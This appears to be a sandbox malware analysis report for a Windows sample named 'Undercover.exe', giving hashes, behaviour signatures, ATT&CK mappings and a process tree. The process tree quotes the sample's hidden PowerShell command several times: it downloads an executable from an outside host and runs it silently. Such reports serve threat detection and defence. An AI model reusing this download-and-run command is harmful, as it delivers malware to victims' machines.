90b0061efc6a43a9dd506f5b1481d29908039ed4ead0f656ad867dd1d13dc7c0

Analysis

max time kernel
149s
max time network
93s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
18/04/2026, 04:24

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General

Target
Undercover.exe
Size 1.1MB
Sample260418-e1mqhsgv7v
SHA256 90b0061efc6a43a9dd506f5b1481d29908039ed4ead0f656ad867dd1d13dc7c0
MD5 03e069d4bfb843fe7909f5fd610ba853
SHA1 6d1385614cc96880cd65a9e631372657775905d5
SHA512 3f56d03597778869c8fcf4105625a97c0d249ef2a8225509bda144989789fa7bce9c2f3be9f56eb7fb3b2496cba9624e9db4eda5e6354a7a819c68c4b422ef7d
SSDEEP 12288:NagLYJ0lbhe+0nRXC0Mfb4qc1IqA33in0nPVzzFxx2f7KtJD4S:W0F2RvMQShin0nPVfFacJ
TLSH
T1D2359E1FF2A3C99EE3A265749563A217FDF9B824177B09EB63411403DE8B890CFB1611
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2064	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2064	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
660	BK961637.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2064	powershell.exe
2064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2064	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3504 wrote to memory of 4012	3504	Undercover.exe	80
PID 4012 wrote to memory of 1312	4012	cmd.exe	81
PID 3504 wrote to memory of 576	3504	Undercover.exe	83
PID 1312 wrote to memory of 2064	1312	cmd.exe	84
PID 2064 wrote to memory of 660	2064	powershell.exe	85

C:\Users\Admin\AppData\Local\Temp\Undercover.exe
"C:\Users\Admin\AppData\Local\Temp\Undercover.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK961637.exe; Start-Process -FilePath $env:TEMP\BK961637.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK961637.exe; Start-Process -FilePath $env:TEMP\BK961637.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK961637.exe; Start-Process -FilePath $env:TEMP\BK961637.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2064
    - - C:\Users\Admin\AppData\Local\Temp\BK961637.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK961637.exe"
        5⤵
        Executes dropped EXE
        
        PID:660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

BK961637.exe

Path C:\Users\Admin\AppData\Local\Temp\BK961637.exe
Size 277KB
SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
MD5 d712be26fe4bbd0ee1fc9156ea74b705
SHA1 0d73d709f61dcd7d58984dd154c50b925049689c
SHA512 cf5fbb98d408768300e56b6ae809af0dfd4366c47e95ee9e40602ed4827b6f6b4b76cda089ba7561d64bf38bdc64025c9f057e92854808f0b5cf790c1e19868e
SSDEEP 3072:cHg0HbTE/QaJkcHVqJr3NPAG0geM4tO/URydJ/28S2sQdJ1:cHgETakcMJrJ3H4cdJ/B/dJ
TLSH
T1CD547369EF48AC5AD4FB98FB78112A3ED0D0543787F079EA84C2097D5A0885F17FAD90
MD5 SHA1 SHA512 SSDEEP TLSH

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__PSScriptPolicyTest_rrvrgmyc.25s.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rrvrgmyc.25s.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/660-22-0x0000019D5BA50000-0x0000019D5BAFE000-memory.dmp

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memory/2064-0-0x000001BD9B730000-0x000001BD9B740000-memory.dmp

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memory/2064-1-0x000001BD9B730000-0x000001BD9B740000-memory.dmp

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memory/2064-2-0x000001BD9B700000-0x000001BD9B722000-memory.dmp

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memory/2064-9-0x000001BD9B730000-0x000001BD9B740000-memory.dmp

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memory/2064-21-0x000001BD83620000-0x000001BD83632000-memory.dmp

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memory/2064-20-0x000001BD83110000-0x000001BD8311C000-memory.dmp

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memory/3504-23-0x00000284F9070000-0x00000284F911E000-memory.dmp

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memory/3504-33-0x00000284F9070000-0x00000284F911E000-memory.dmp

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